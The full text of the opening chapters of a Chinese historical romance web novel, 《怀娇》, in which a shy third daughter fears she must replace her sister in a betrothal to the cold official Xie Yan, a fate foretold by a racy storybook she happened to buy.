《怀娇》 第1章 第 1 章 四月的京州,多是朦胧雨天。 昨夜又落了一场小雨,淅淅沥沥,缠绵又悱恻。雨不大,却掺杂着疏疏的风意,吹得院中盛开的海棠,露出几分荼蘼。 乌木窗子撑开,可见一位少女正安安静静地坐在窗外。 她梳简单的流云髻,穿一套没什么花样的烟粉色的襦裙,肤白胜雪,杏眼桃腮,眼尾自带一点嫣红,虽未施粉黛,却也难掩少女绝色。 此刻,白皙的指尖灵巧地翻动,片刻间,手边的革草纸,就变成了一个个鲜活的小物件。 小灯笼,小蝴蝶,甚至还有个极仿真的小房子,远看,还真的跟个泥瓦匠砌出来似的。 她做得太投入,以至于身旁的侍女喊了两声都没听见。 最后还是侍女提高声音喊了句“三小姐”,原本一直沉浸在自己世界中的姜云漾,才把头抬起来。 “有什么事吗?”她一边说,一边翻动着手中的折纸,并没有为此而分神。 见主子终于有了回应,翠竹忙道:“二太太那边来人吩咐,说让我们收拾收拾,一起去谢府赴宴呢!” 出门赴宴,是这盛京城中的贵女难得出门的机会,但此刻的姜云漾,却不显半分激动,一双漂亮的杏眼里,透着茫然:“谢府?哪个谢府?” 翠竹:“就是和咱家二小姐有婚约的那位谢公子,谢砚府上。” 谢砚。 这个名字姜云漾熟悉。 未过十六岁便过了司马科,弱冠之年又以内议员身份进太子书房伴读,克己复礼,勤勉审慎到了极致,是当朝最年轻的权臣。 更重要的是,他生了副极好的样貌,端的一副翩翩君子,温润如玉的气质,又清雅矜贵,俊美无俦,是城中无数贵女倾慕的对象。 她的二姐姐姜云舒,也是其中一员,自某次赏花宴和他对视过一眼后,就如入爱河,无法自拔。 每天回到家,不是谢砚长,就是谢砚短。 姜云舒是幸运的,因为谢家和他们姜家有一段老辈交情,并且因为这段交情,又牵了段婚约出来。 如今两府上年纪相仿的,也就她和谢砚两人。 两家人暗里提了好几次,不出意外的话,今年就能把事情办了。 二姐姐的婚事她无权干涉,只是单论谢砚这个人,姜云漾是真的不喜欢。 准确地说,是有些怕他。 她知道他这个人不过生得好些,实则难以靠近,还冷酷严苛,对人毫不留情面。 就拿三年前的某次赏花宴来说,碰巧坐在他旁边的姜云漾,不过失手碰了下他的折扇,他便嫌弃得不行,宴后,还直接让侍从给扔了。 听说还有一次,有个侍女只是不小心将茶水洒在了他的衣袖上,他便狠狠地攥着那人的手臂,差点要将其捏碎,最后好像还将那侍女发卖了出去。 抛开这些,这个人的作息时间也不正常。 每日不到卯时起床,工作至子时,十年如一日。听说最近为了清心寡欲,甚至将住处搬去了城郊的寺庙里。 和过惯了闲散日子的她,完完全全不是一路人。 想到以后他和二姐结亲,怕还是要和他接触,姜云漾就有些莫名的紧张。 其实她也不知道自己紧张个什么。 明明和自己关系不大。 可她就是这样,胆子小,又不会和人相处,还总喜欢把事情想复杂。 因此今天,她开口的第一句依然是:“我可以……不去吗?” 她平素就不喜欢和人打交道,谢府又是那样一个大宅门,到了那里,话不能多说,礼数也不能乱,很不自在。 而且是她二姐结亲,二姐姐去有理,她去又是为什么? 只听翠竹苦口婆心地劝说:“我的三姑娘,这可是老太太的嘱咐,哪有不去的道理。” 听到这,原本还抱着侥幸的姜云漾,彻底蔫了。 是啊,既是老太太吩咐的,哪有不去的道理。她可不敢反驳老太太。 她母亲过世得早,父亲不大管内宅的事,祖母又偏向小叔叔,从小只把他的女儿,也就是她的二姐姐姜云舒养在身边。 从前她嫡亲的大姐姐在家时,她还能撒撒娇,免了这些聚会宴请,如今大姐姐出嫁,她在这个家里,就有些孤立无助了。 想到这一点,姜云漾虽然不开心,但还是起身,“我这就跟你过去。” 门口果然已经停了几辆马车。 姜云漾加快了步子,行了个礼,乖巧喊人:“二太太,二姐姐。” 沈氏是姜府上如今的管事太太,她平素就是个会来事的,姜云漾同她行礼之后,她便拉着她热络地问了好多话。 只是目光对上二姐姐姜云舒时,她觉得哪里有些不对劲。 往日姜云舒总是春光满面的,为了长辈眼中的和睦,总会亲亲热热地拉着她寒暄,今日她的情绪却有些沮丧,眼眶还有些红,面对她也只是呆呆地应了声,好像很为什么事情发愁。 不过姜云漾向来不是多想的性子,更不敢多问,只是上车,跟着大家一起出发。 车子没过多久便到了谢府。 此时已到了不少人,大家聚在一起闲谈说笑,到处可见轻罗粉黛,衣香鬓影。 姜云舒闺中朋友很多,很快便被好几个女孩挽着离开。 姜云漾向来不擅长社交,也没什么知心朋友,只简单寒暄回礼之后,随便找了个人少的地方坐着,期待赶紧开宴,然后赶紧结束。 可她今天的运气似乎并不是很好。 她以为人少的地方,没一会,竟然又聚过来了另外一群人。 为首的那个女孩她认识,叫崔荣月,是崔阁老的嫡孙女,因为崔家势大,且常和皇族走动,自小娇生惯养,不大好相与。 但不妨碍巴结她的人多,所以身旁常常围着一群人。姜云漾和她不太熟,所以立刻往后退了退,准备给众人腾出位置。 此刻大家说说笑笑的,眼神却都不约而同地往另外一个方向看过去。 “真的是他,我还以为他今日不来了呢!” “怎会不来,这可是谢夫人举办的家宴,他是府中嫡子,没有不来的道理。” “听说他马上要和姜家那个二姑娘定亲了,是真的吗?” “都是要定亲的人了,我们这样看不好吧。” “有什么不好?八字还没一撇的事情,哪能那么笃定?反正只要没看到官府给的婚契,我就会追随谢公子到底。” “真的好美,呜呜呜,我要彻底沦陷了。” “谢砚啊谢砚,这世上怎会有长相如此周正,清隽儒雅的男人!!!” 一旁的姜云漾:“……” 原来她们到这里,是为了谢砚。 她到底没有能及时退出去。 因为人……太多了,又因被夹在这人群中,她也下意识地将目光落过去。 隔着薄薄的雨雾,看到树影下几位衣冠楚楚的男人。 其中最亮眼的,当属最中间的那位。 男人肤色很白,透着冷淡,五官凌厉而有型,却又带了几分文人特有的斯文清雅,以及世家子弟的矜贵。 如此俊美的长相,气质却是疏离的,甚至可以说是冷冰,明明身处交际场中,却对周围的一切都显得颇为厌倦,因此也轻易就将自己从这浇漓世道中分隔出来。 也是,他这样高高在上的天之骄子,自然没有什么是放在眼里的。 对周围那几位位高权重的同僚是如此,对不远处打量的几位贵女更是如此。 也是确定了这一点,姜云漾的目光也就放肆了些。 嗯,长得确实是很美。 但她也确实没有兴趣。 她猜想,若是这些贵女们知道他的真面目,一定也会没有兴趣。 想到这,她在脑海中,给谢砚的名字轻轻画了个叉。 可就当她准备收回目光时,谢砚却突然如感般朝她们这堆人望了过来。 遥遥十几米的距离,却还是被她直直撞上。 那一眼很淡,却足够让人心中一颤。 清冷,锋利,气场强盛,高贵中带着一种不容撒野的庄重,形成一种天然的压迫,逼得人喘不过气。 姜云漾心中一凛,飞快地缩回脖子。 也幸好她比他小四岁,否则这桩婚事落在她的头上,她又该如何承受? 因为谢砚刚刚那一眼,周围的贵女再次陷入一阵七嘴八舌的争论。 不少人都在说谢砚刚刚注意的是自己,但更多人,则是在恭维崔荣月,说是谢砚转过来目光,是为了她。 姜云漾心道,要是注意到崔荣月还好…… 可他明明注意到的是自己啊!!! 她心有余悸地抬了下眼,暗自担心,该不会还有什么后续吧? 所幸男人的目光已经收了回去,一切淡得像是刚刚的事情从未发生。 很快,聚过来的那群贵女也散开了,姜云漾总算安心了下来,想着能好好吃顿饭了。 可抬头的一瞬间,忽然看到二姐姐端着酒杯迎面而来。 接着,她将自己手中的酒杯塞到了姜云漾的手上,平静的眼眸中看不出什么情绪:“三妹妹,这次你也要跟着我去敬酒。” 说完,姜云舒往前看了眼。 目之所及之处,正是主位的谢夫人,以及……坐在谢夫人身旁的谢砚。 姜云漾:“啊???” 第2章 第 2 章 谢府办的是如今盛京城中极风靡的流水宴。 紫檀木桌蜿蜒数米,客人沿桌次第而坐,青瓷和芍药,随着水流,缓缓而下,颇具雅意。 这样一来,后面的宾客便有些疏远,而为表达对主人的敬意,需要依次上前敬酒。 可是往常就算要敬酒,也只是沈氏带着二姐姐,今日怎么会…… 她忽然就懂了。 是因为谢砚啊。 若沈氏只带着姜云舒,难免会让人多些别的想法,而带上姜云漾,这便只是场寻常的宴会了。 她知道自己平日里思想简单,可这点道理还是懂的,所以此刻就算有些惧怕谢砚,还是磨磨蹭蹭地出发了。 反正她只是个陪衬,到时候往后站一站,不要显出存在感就行了。 姜云舒晨起时低落的情绪早已有所缓解,行至前方,恭敬端庄又落落大方地同两人行了礼,动作又舒展又漂亮,尽显嫡女仪态。 姜云漾则是小心翼翼地跟在身后,因为跟着她做,所以动作总是慢了那么一步,多少显得有些笨拙。 不过没关系,她又不是主角,不会被人注意到,抱着这样的心态,姜云漾慢腾腾地举了下酒杯。 可就在她准备蒙混过关时,刚刚还严严实实地挡在她面前的姜云舒,忽然像是给她腾位置般,闪开了! 而她直接对上了谢夫人的目光。 姜云漾:“!” 她顿时汗流浃背了,下意识就要躲开。 但她心头刚升起这个念头,就收到不远处沈氏那略带警示的目光。 姜家虽不算什么大家,但素来对子女要求严格,没有这样半道离开的道理。 姜云漾没办法,只能硬着头皮上前一步,学着姜云舒的样子,单独敬酒。 其实给谢夫人敬酒并没有什么,她是个极和善的中年妇人,虽是国公府的夫人,却一点儿架子也没有,此刻也是笑吟吟的。 就是旁边那位…… 自她们姐妹二人上来之后,他就一直没什么情绪。 一身玄色衣裳,平稳端坐。因为身量高,很有一种高高在上的俯视意味,深邃的轮廓沐浴在日光下,看人的时候,沉沉的黑眸下,很明显地压着不耐。 既然不耐,为何要坐在那里? 姜云漾一面吐槽,一面斟酒,还一面给自己做着心理建设。 可是手抬到一半时,忽然顿了下。 她为什么突然开始抖了? 其实她抖得很微小,又极力想要压着这股力量,所以落在别人眼里,顶多是僵持在原地。 可这也足够尴尬了。 她就这样以一边抖一边抵抗,同时还以非常缓慢的速度往上移,此刻的水面就像是风过湖泊,呈现出一种微微晃荡的状态。 姜云漾告诉自己再坚持一下。 可还没坚持多久,酒杯就已经被一股力量率先握住了。 白皙而修长的手指,骨感很重,青筋微微凸起,皮肤则在阳光下透出几分莹白,像是上好的羊脂玉。 姜云漾彻底愣住了。 不仅忘记了松手,还不受控制地将酒杯死死地攥着。 以至于那人用手腕用力,都没有抽出来。 谢砚:“……” 直到耳边有人轻咳一声,她才像是一只受惊的小麻雀般,倏然缩回了手。 耳尖早已通红,像是傍晚时分,天边染了霞光的流云。 虽然足够惊慌,少女的眼眸还是直落落地打在了那人眼底。 这已是今日第二次对上他的目光。 和上一次还是很不同的。 因为这一次,她在那双没什么情绪的眼眸里读出了一个完整的句子。 ——赶紧走。 …… 回程的马车在路上缓缓行走。 徐徐的清风,吹起窗帘一角,露出少女白皙的小脸。 此刻,这张小脸上很明显地写着不开心。 明明她那杯酒已经快举起来了,他自己端过去,又算什么事? 虽然他后来端起来一饮而尽了,但还是很尴尬啊。 唯一庆幸的是,她足够聪明,没有做过多的回应,所以后排很多人对这件事并不知情。 可是这也不能代表谢砚不过分。 姜云漾皱着小脸,闷闷不乐地想。 什么谦谦君子,温润如玉,这些不过是他表面的伪装,背地里完全就是个面冷心冷,道貌岸然的伪君子。 日后他和二姐姐成了亲,她绝对不会给他任何好脸色,见了面也只会绕着走。 她想得出神,完全没注意到,自己的左手竟然握成了个小拳头,在椅背上不轻不重地砸了下,吓了对面正在斟茶的翠竹一跳。 “姑娘……”翠竹轻唤她一声,小心翼翼地询问,“您……没事的吧?” 姜云漾也回了神。 她轻轻摇了下头,口是心非道:“没事。” 她虽这样说,翠竹却很看得清。 她很知道自家主子,生性单纯,没什么心机,有什么事总喜欢藏在心里,然后一个人胡思乱想。 从谢府出来时就一脸愁闷,现在显然还把自己沉浸在刚刚发生的事情中。 看她此刻的情绪依然低落烦闷,翠竹把手中的茶杯递过去,建议道:“姑娘,前面就是书铺了,我看二小姐的车停在了那里,不如我们也去买几本话本子?” 姜云舒对诗词颇有研究,所以每每路过,都会带几本书回去研究。 姜云漾虽然对这些没兴趣,但跟在这样一个姐姐后面,为了不被父亲指责不学无术,每次也会装模作样地带几本书,基本是新出的折纸花样子或者话本子。 姜云漾点了点头。 话本子好啊,她折纸之余的时间,基本用来看话本子了。 有的时候一看就是一天,整个人投入进去,便什么烦恼都忘了。 这家苏氏书铺面积不大,但品类却很齐全,一个开间却放了整整五个书架,书架上琳琅满目,士农工商,什么样的书都能找到。 姜云舒和往常一样去了诗词区,她向来目标明确,没一会儿就选好了,姜云漾则一直在里面磨磨蹭蹭,挑了好久,也只挑了一本新出的折纸教程。 店主是个慈眉善目的大叔,看到姜云漾来结钱,很快给她介绍了店内的活动。 “一本书原价,两本书八折,三本书七折,小姐要不要再多选几本?那有几本话本子最近卖得不错,您看是不是也要带上几本……” 姜云漾耳根子软,也不会拒绝,加上店老板的目光里又透着几分让人难以抗拒的真诚,她很快就动摇了,轻声细语地来了句:“那我再看看……” 不过她没能多挑一会。 很快翠竹便进来说,后面有车马过来,需要借道。 姜云漾也就没再逗留,匆忙在架子上拿了本名叫《春月记》的话本子就赶紧出来。 回到府上,已差不多是掌灯时分。 吃了晚饭,她便坐在了桌前,先将早上未完成的折纸完成了,又对着新买的折纸书,试着做了几个新样式。 等到终于折成了个新样式后,她想起今天新买的那本书,决定在睡前翻一翻。 夜已经深了,庭院里寂寂无声。 半开的小窗时不时吹进来一阵风,将投影在白墙上的影子吹得肆意摇曳。 姜云漾翻看了几页,忍不住暂停。 有些奇怪。 这本书的女主,不仅姓姜,偏偏和她一样,也是姜家的三女儿。 不仅如此,其他地方也透着些和现实难言的巧合。 比如说大女儿生的明艳动人,刚过及笄年纪就许配了人,二女儿生的清丽婉约,也早早有了婚约,唯独三女儿,因为笨拙木讷,一直待字闺中。 这不是和她三姐妹的经历也相似吗? 虽然有些怪,但姜云漾还是决定再看一眼。 毕竟世上这么多人,同名都大有人在,更何况是撞了一个姓。 前部分还好,直到某一章节时,一些平常的话本子不会出现的词汇相继出现。 她起初先是微微拧了下眉,可是越看眉头拧得越深。 直到几个关键的字眼蹦出来时,她的情绪已经完全不是拧眉能表达的了,一整个人都无比震惊。 翻书的手指,也忍不住颤了起来。 颤抖着看了几页后,她终于还是忍不住,“啪”地一下将书全部阖上,小脸通红,连呼吸都跟着有些乱,整颗心扑棱扑棱的。 这……写的都是什么啊?!!! 按照寻常逻辑,因为前两位姐姐婚事顺利,往后的大部分笔墨应该都落在这位木讷的三姑娘身上,给她安排个感情线,写她的坚强、写她的辛苦,最后写她千帆过尽后幸福的婚后生活。 没想到,作者竟然完全不按常理出牌,笔锋一转,将剧情设定为三姑娘为二姑娘替嫁。替嫁也就罢了,竟又给三姑娘安排了一场噩梦,让她在梦中得知,姜家很快会陷入一场家破人亡,大厦将倾的结局。 而她,必须想办法攻略和她联姻的冷漠公子,让他动情,让他动心,让他成为自己的依靠,才能避免这些祸事。 至于攻略的法子是什么…… 姜云漾觉得已经不能用大胆来形容了。 简直就是丧心病狂! 不仅有一些口头上的语言,还有一些生动得不得了的动作描述。比她从前看过的任何一个话本子都要香艳,都要刺激,都要触目惊心。 第3章 第 3 章 姜云漾颤抖着一双手,震惊了好一会。 她觉得自己要死了。 从前她看过的话本子,也不是没有这方面的描写,但一般都会用一些风花雪月的诗词给代替。 可是这本为什么会…… 现在想来,都是能把手剁掉的程度。 她到底是为什么,没有现场仔细翻一下就把这本书拿回来呢! 后悔。 当事人就是非常后悔。 于是下一秒,她忍着脸颊的烫热,趁着翠竹还没过来,立刻将书塞到没人能看到的角落,然后爬上床,将自己整个人都缩在被子里。 可是此刻,她越想睡越睡不着。 书中描述的内容,自带一种天然的魔力,轻易就在她脑海中形成了各种各样的画面。 后来她复盘,能让她这样印象深刻的,其实还有一点。除了女主的姓氏为姜以外,书中和姜家二姑娘有联姻的,后来让三姑娘替嫁的那位冰冷公子,竟然姓谢。 很容易就让人联想到今日看到的那张面容。 谢砚…… 谢公子…… 应该……也只是巧合吧。 话本子中男主的姓氏往往是一阵一阵的,前两年多以“顾”为姓,后来“白”姓“沈”姓又风靡了一阵子,近来也不知怎么了,推崇的多是“谢”姓。 十本里面有八本,男主都姓谢。而且大部分都是冷清权臣人设,家里也必是钟鸣鼎食的大家。 如此一来,说男主只是巧合也不为过。 可是女主又该怎么解释? 书中是三姐妹,她们家也是三姐妹,三个人的性格,不能说完全一致,但也差不多能对上。而现在最大的一点不同,就是三女儿给二女儿替嫁的环节。 这总不能在现实中发生吧? 她二姐姐那么喜欢谢砚,怎么可能会让人替嫁? 既然没有替嫁这个环节,那么往后的一切也就不会发生。 想到这一点,姜云漾才觉得放松了些。 不过她还是得谨慎一点,赶紧找个机会把那本小□□给扔了。 这样想着,也渐渐入睡了。 不过不知道是不是因为那天的情绪波动太大,一晚上都睡得不太安宁,一会儿被风吹树梢的身影吵醒,一会又被邻居家的犬吠声吵醒,直到快要清晨了,才迷迷糊糊地进入深睡状态,但没能睡多久,就听翠竹在唤自己了。 “小姐,小姐。” 姜云漾刚睁开迷茫的眼,就感受到翠竹的热帕子在她脸上晕了下。 “今日得快一点。” 感受到帕子的温度,姜云漾才稍微清醒了些:“有什么事吗?” 翠竹:“老太太从南阳的那位大表姐,带着自家的孙子,叶公子,来咱们府上了,怕是马上要传咱们过去呢。” 叶公子? 姜云漾有些茫然地眨了下眼。 从前就算是家宴,她也不怎么有参与感,老太太出生于南阳的世族大家,亲戚又多,她就更是理不清。 不过没关系,想来今天也和自己没什么关系,只是随便出面,刷个脸,让人知道府上还有这么个三姑娘而已。 老太太所住的寿春堂距离她的院子不太远,没走几步就到了。 进入大门,路过一面云鹤送祥的影壁,就能听到堂内热闹的讨论声。 姜云漾提起裙子,刚把一只脚迈进门槛,另一只脚还没有迈进去,内里一个老太太便笑吟吟道:“既如此,那么舒儿和安儿的婚事,就定下了吧。” 很温和有礼的声音,落在此刻的姜云漾耳里,却宛如晴天霹雳。 谁和谁的婚事定下了? 她没有听错吧?! - 谢府内。 管家正带着家仆进行洒扫工作,昨日家宴来的人很多,各处都需要重新整理。 游廊下,谢夫人正带着贴身侍候的刘妈妈,一边散步,一边指导院中佣人的工作。 走了几步,刘妈妈终于忍不住,将心中一直憋闷的事情问出了口:“夫人,姜家将婚事从二女儿换成三女儿,这事情,您就这么轻易同意?” 谢夫人刚定了搬进来的花摆放的位置,闻言,轻轻笑了下:“我就算不同意,能将人家绑着捆着,不让将女儿许给别家?” “可是……”刘妈妈还想分说几句,就听谢夫人道,“都是家里金枝玉叶的宝贝,谁不想给自家孩子一个最好的前程?更何况是没定下来的事情,作不得数,也认不得理。” 刘妈妈似乎被这话说服了,但心底里,还是觉得这姜家的做法有些奇怪。 说起两家的婚约,其实要追溯到谢家老夫人那一代。 当年谢家老夫人随船上京,行至古荆洲渡口时,被水匪绑架。那年姜家老爷外任荆洲,恰好就在谢家的船附近,为救老夫人一命,他拼死相搏,为此挨了歹匪三四刀,差点丢了性命。后来谢夫人感恩,不仅赠姜家现银万两,在仕途上也多有帮助,又放口后代可结秦晋之好。 谢家差点付出了一条命,换这些东西,自然并不为过。只不过两家人一直没有适合年纪的婚配对象,婚约便一直被搁置,直到孙系一辈,才又被提起。 谢家只有一位嫡子,自然该他去应这门婚事。但姜家有两位待嫁的女儿,只因和二女儿年纪相仿,且姜家一直明里暗里提二女儿,谢家人才在心里定了二女儿,没想到几日前,姜家二夫人沈氏登门拜访,透露了二女儿即将和她表兄定亲的事情。 昨日宴会,又带着三姑娘上前敬酒。 但其本意哪里是敬酒,根本就是动了让三女儿结亲的意思。 这样临时换亲的做法,着实不大体面,但是她为什么看着自家夫人,倒还能坦然接受? 刘妈妈暗自思忖了一会,接着,豁然开朗:“夫人……您该不会,是瞧上那姜家的三丫头了吧?” 听到刘妈妈这样说,谢夫人轻轻拂了下手边的玉兰花瓣,笑道,“不是我瞧得上,是咱们家公子,更瞧得上三姑娘。” “从前我还担心阿砚会对这桩联姻不满,现在……好像有点信心?” 刘妈妈怔了下,陷入回忆。 往常担心他的婚事,谢夫人总是耳提面命地让他多和姜家二姑娘交往交往,他不仅不为所动,还总是一脸的不耐烦。 倒是昨日…… 不仅亲手接过了三姑娘敬过来的酒,还和她对视了,至少三息。 刘妈妈恍然大悟。 谢夫人:“其实我也觉得这三姑娘不错,性格单纯,没什么那些嫡女们弯弯绕绕的想法,和整天一脑门官司的谢砚,怎么不配?” 况且人也长得漂亮,昨日宴会上那一眼,就足够让人印象深刻。 肤白胜雪,窈窕多姿,兼具明艳和婉约之美,桃夭色上襦搭配碧山色的下裙,乖巧地立在哪里,远远看去,真如一朵夏日的荷花,娇艳又美丽。 如此之姿,配她家儿子,绰绰有余。 而且:“他每天想法就多,且恨不得天天就住在那公文堆里,要是再配个同样心思重的姑娘,每天你来我往地算计这算计那,两个人不得累死?” 刘妈妈若有所思地点了点头。 谢夫人:“就这样吧,等老爷回来,我同他商量一下,过两天就上门提亲,再定个吉日,尽快把婚事办了吧。” 刘妈妈点头应下,正准备转身去办差事,又听谢夫人道:“等一下。” “你把葛叔叫来,我有事吩咐他。” - 与此同时的姜府,也已经和叶家定完吉日了。 快的让姜云漾觉得不可思议。 就这么半天时间,就敲定了二姐姐姜云舒和表兄叶安,于下个月的初八举行婚宴。 自从听到两人要定亲的消息后的姜云漾,就一直恍恍惚惚宛如梦境。 但看周围的人,似乎并没有多么诧异,尤其是她的二姐姐,不仅没有觉得异常,反而对这个结果颇为接受,偶尔对上表兄叶安的目光,会露出几分小女儿的娇羞和内敛。 姜云漾偶尔用余光瞥到两人,内心震惊却又不敢吱声。 这一切,对她来说都透着不可思议。 她二姐姐喜欢的,难道不是一直都是谢砚吗?怎么会突然对一个表兄有如此好感…… 姜云漾掐了掐自己。 结果就是小臂上轻了一大块,疼得她差点出声。 不是梦。 刚刚发生的一切,都不是梦。 二姐姐的婚事,应该就这样成了。 可是,姜家和谢砚的婚事,又该怎么办? 二姐姐和谢砚,本来可是有婚约在身的啊,怎能就如此仓促地就同表兄定了亲呢? 姜家和叶家的婚事是真的,姜家和谢家的婚事也是真的。 这样一来,岂不是…… 要她去替嫁。 得出这个结论的时候,姜云漾彻底怔住了。 昨天那个话本子里的内容,不由自主地出现在她脑海里,不仅如此,还一页一页自己翻动着。 断断续续的字眼出现。 姜家,谢家,二小姐,三小姐,替嫁,谢公子…… 剧情终于发展到了替嫁这个阶段了。 既然这里都能对上,那么她往后的命运,不也就跟着对上了吗? 罢官,抄家,流放,家破人亡…… 姜云漾不知所措地坐在席间,呆呆地望着自己碟中的那块桂花奶酥,再也没有想要吃下去的**。 第4章 第 4 章 将将破晓的天空,不远处泛起一片鱼肚白。 晨起的微风扑面而来,带来一丝不合时宜的凉爽。 一辆小小的马车驶过青石板路,发出咯吱咯吱的响声。 因为一夜未睡,姜云漾的眼底透着几分乌青。原本白皙的小脸不再红润,反而透着几分很明显的憔悴。 昨晚她回屋的第一件事,就是先从某个不起眼的犄角旮旯里面翻出了那个话本子。 忍着心跳,又将内容读了一遍。 这一遍,依然是……读不太下去。 昨晚也只堪堪读到[这谢公子着实勇猛,姜三小姐没办法,只能配合着他,一夜来了七次……]就戛然而止了。 读不下去,她就只能去翻前面的内容,任何和现实当中细小的区别,都能让她兴奋。但兴奋是短暂的,想起和谢家的婚事,她还是惴惴不安,故而一大早,就让翠竹准备了车,去了姐姐家。 太子府一如既往的气派,和门衙通报后,姜云漾带着翠竹弯弯绕绕走了一会,终于到了姐姐所住的凝香居。 被侍女迎进来,又递了杯茶后,姜云昭才娉娉袅袅地从锦帘后走过来。 姜云漾看到这位明艳娇俏的美人,当即放下手中的茶杯,哒哒哒跑过去,带着许久未见的思念和激动,扑到她身前,声调软糯地喊了声:“长姐!” 姜云昭拉着她,亦是莞尔一笑,“昨日听说妹妹要来,还以为要过了晌午了,没想到今日竟然这么早?” 提到这,姜云漾松开她,神情顿时紧张起来,也顾不上说别的,立刻便道:“二姐姐和叶表哥定了亲,这事姐姐可知道?” 姜云昭点了点头,昨日二夫人身边的丫鬟已经过来通报了,她受限于身份,虽然不能亲自去见叶家人,但是也回了不少礼过去,以表心意。 她虽点了头,但没有继续往下说,只等着姜云漾开口。 可姜云漾更加犹豫了,也不知道在纠结个什么劲,半晌才仰头,红着脸道:“可她……本来是要和谢砚定亲的啊!” 这句话一说出来,姜云昭就彻底坐不住了,立马给丫鬟使了个眼色。 虽然院内没有别人,但丫鬟还是飞快地将门关了起来。 姜云漾被长姐的操作吓了一跳,以为自己说错了话,立马捂住了嘴。 姜云昭却拍了拍她的肩,安慰:“没事。” 接着,没等姜云漾回应,就率先问了一句:“这话你有从别人口中听说过吗?” 姜云漾不解。 姜云昭继续道:“是老太太说过,还是二太太说过,抑或咱们父亲或者二叔叔说过?” 姜云漾努力回忆了一下,发现好像真的没有人在她面前提起过这件事。 她觉得大受震撼:“可是……明明就是这样啊!” 姜云昭正了正色,耐心解释:“漾漾,人心里想的话,和明面上说出来的话,是完全不同的,不能以为大家都觉得咱们姜家和谢家有婚约,就自然而然地认为是云舒要和他定亲吧?” “定亲要走的规章流程很多,绝不是一两句话就能决定的,更不是人心里想着就能决定的,既然大家可以觉得谢砚和云舒合适,那么我也可以觉得谢砚和你合适。” 姜云漾本来还想着有什么办法可以拒绝和谢砚的婚事,没想到她阿姐不仅没有觉得意外,反而觉得他们两个颇为合适。 姜云漾别惊到了:“阿姐你……” 姜云昭却颇为淡定,眼眸晶亮的看着她:“我?怎么了?” 她抿了抿唇,垂下眸子,很小声道:“你……你能不能不要这么觉得……” “因为我……不喜欢谢砚。” 姜云漾想着既然自己已经把这话说出来了,干脆破罐子破摔,直接道:“长姐能不能帮帮我,让我……让我不要嫁给谢砚。” 果然,此话一出,姜云昭沉默了。 她猜着姜云漾会因为婚事过来,但没想到,她是奔着不结亲的事情过来。 全城的人都想嫁给谢砚,难道她的妹妹就不想? 有个性是好事,但有时候个性太强了,也就不好了。 姜云昭陷入一阵思索,总觉得事情没有那么简单。 她这个小妹妹思想单纯,对于男女情爱一事更是毫无了解,自认为那点经验,不过都是从话本子或者折子戏里学到的皮毛。 良久的沉默后,她开口:“漾漾,你是不是有什么心事?” 姜云漾顿了下,立马摇了摇头。 那么羞耻的一本书,绝对不能让姐姐看到。 况且那不过是个虚构的故事,目前除了名字相似、家庭相似,替嫁的情节相似外,其他的还不好说,要是告诉姐姐,免不了又要训斥她一句想多了。 虽然摇头,但是她的表情和态度还是暴露了她的一部分心思。 姜云昭盯着她看了一会,没有追问,反而将话题一转,问:“漾漾,你了解谢砚吗?” 姜云漾怔了下:“啊?” 姜云昭:“如果你不够了解这个人,那么就没有权利说不喜欢他。” 姜云漾张了张唇,准备说什么,却被她打断。 “这世上这么多的夫妻,在结婚之前,能真心相爱的又有几个?很多人都是在婚后才相知相守,相度百年的。如果你不够了解一个人,就这样轻易给他定了性,和那坐在井里头观天的青蛙,又有什么区别?” “而且你知道我们姜家,能从曾经一个小小的布商走到现在,靠的是什么吗?” 姜云漾瞪大眼睛看着姜云昭。 “是谢家。” 姜云昭说。 “虽说不我不知道祖母和叔母为什么将云舒许给了叶家,但对于这件事,谢家都没有说什么,如果我们再次失了信,他们会怎么看我们姜家,盛京的人又会怎么看我们姜家?” ”更何况,谢家是百年权贵,岂是我们能辜负得了得?若是拒了这场联姻,爹爹的官职、二叔叔的官职,甚至身家性命,怕是都要不保了!” 姜云昭连哄带吓,果然把姜云漾给唬住了。 小姑娘一双漂亮的大眼睛,呆愣地望着姜云昭,差点就能酝出泪来。 “好了。”看姜云漾这么紧张,姜云昭这才终于又换了副口气道,“听说今日谢砚会来太子府上议事,你可以过去看看,如果有机会,接触一下也不是不可以。” “可是……” “就这么定了,翠竹,带你家姑娘去后面的海棠苑转转吧。”姜云昭不容置喙道。 而等到姜云漾走远了,她先是思索了一会,接着摆了摆手,找到自己最信任的侍女。 “你现在出去一趟,仔细打听打听二小姐地婚事是怎么回事。” - 半刻钟后,姜云漾走在海棠苑的游廊里。 翠竹在不远处张望,她则低垂着脑袋,情绪有些闷地走来走去。 刚刚长姐那一番话,确实让她思考了很多。 姜家虽然已在盛京定居多年,但并不是真正意义上的世族大家,就是官场顺遂的她爹,在官场摸爬滚打了十几年,才混到了四品,其余的亲戚更不用说了。 可谢家可是赫赫扬扬的百年士族,万一得罪了他们,后果真如姐姐所说的那样,那可怎么办? 但问题是,她是真的有些害怕谢砚啊。 大姐姐还非要让她接触接触,谢砚那种人,怎么可能让她去接触。 想到这一点,姜云漾就焦虑得不行,一边低着头,一边搅着帕子,来来回回地游廊上走了七八遍。一边期望着他能赶紧过来,好让她远远地看上一眼,给姐姐交差,一边又期望他还是最好不要过来。 忽然间,耳边传来簌簌的声音。 该不会是……谢砚吧? 姜云漾实在是太紧张了,顿住脚步,左走也不是右走也不是,忽然,她眼前一亮,发现不远处有个假山的山洞。 耳边的簌簌声似乎更大了,很像是脚步声。 姜云漾终于忍不住了,接着,她毫不犹豫地便扭头钻进那山洞里。 山洞里光线很暗,也很安静。因为下雨的缘故,带了几分泛潮的气息。 脚底下的青石板有些滑,姜云漾便伸出双手,准备摸索着靠近。 这会她心下也终于轻松了不少。 心道她只要安安静静地躲在这个地方,肯定不会遇到谢砚了。至于如何向姐姐交差,再说吧…… 眼下最重要的,是隐藏好自己。 因此,她一边思忖,一边很谨慎小心地挪动着步子。 很快,她的指尖触碰到处一个微凉的质感。 大概是石壁。 确定是石壁后,姜云漾又往前靠近一步,顺便往下又探了探。 微凉的触感减少了不少,还有几分软绵和流畅。 姜云漾心里有些疑惑。 石壁也会有这样的触感吗? 因为奇怪,所以她的力度就更重了些。 而这一次,触感就更奇怪了。 刚刚软绵和流畅的感觉消失,这次更接近一种柔性和硬朗,但是又有种独特的平滑细腻。 就在姜云漾更靠近一步,准备进一步探索时,耳边响起一个喑哑声,在这黑暗中,显得尤其冷冰和摄人。 “你还要在我的腰上摸多久?” 5. 第 5 章 